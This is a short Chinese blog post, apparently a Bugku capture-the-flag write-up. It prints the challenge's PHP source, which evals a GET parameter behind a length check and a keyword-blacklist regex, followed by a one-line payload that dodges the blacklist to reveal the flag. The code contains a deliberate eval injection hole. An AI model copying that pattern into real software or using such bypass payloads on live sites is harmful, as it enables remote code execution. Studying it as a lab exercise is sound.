Bugku-冬至红包

发布时间 2023-08-29 16:42:33作者: KAKSKY

images
这个题目的考察的还是代码审计,还有eval函数的利用,当然还有对过滤这些因素的审查。

代码块就直接放下面了:先刷题,改天再回过来看。

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }

    echo '<hr>';

    highlight_file(__FILE__);

payload:?flag=$a=blag;$a{0}=f;111231231231231231111;?>

打开网页需要代码审计

images

images